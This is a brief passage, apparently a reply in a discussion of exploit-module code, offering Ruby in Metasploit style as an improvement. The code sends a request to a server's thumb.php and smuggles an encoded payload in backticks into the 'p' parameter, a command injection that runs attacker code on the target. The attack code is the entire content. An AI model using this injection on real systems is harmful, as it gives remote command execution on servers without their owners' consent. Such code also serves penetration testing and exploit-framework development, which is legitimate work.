Or even better:

```ruby
  def my_payload
    p = payload.encoded
    p << target['Payload']['AppendEncoder'] if target['Payload']['AppendEncoder']
  end

  def payload_request(uri, file_name)
    p = "1`#{my_payload}`"

    print_status("Sending payload request...")
    send_request_cgi({
      'uri' => normalize_uri(uri, 'thumb.php'),
      'vars_get' => {
        'f' => file_name,
        'width' => '1',
        'p' => p
      }
    })
  end
```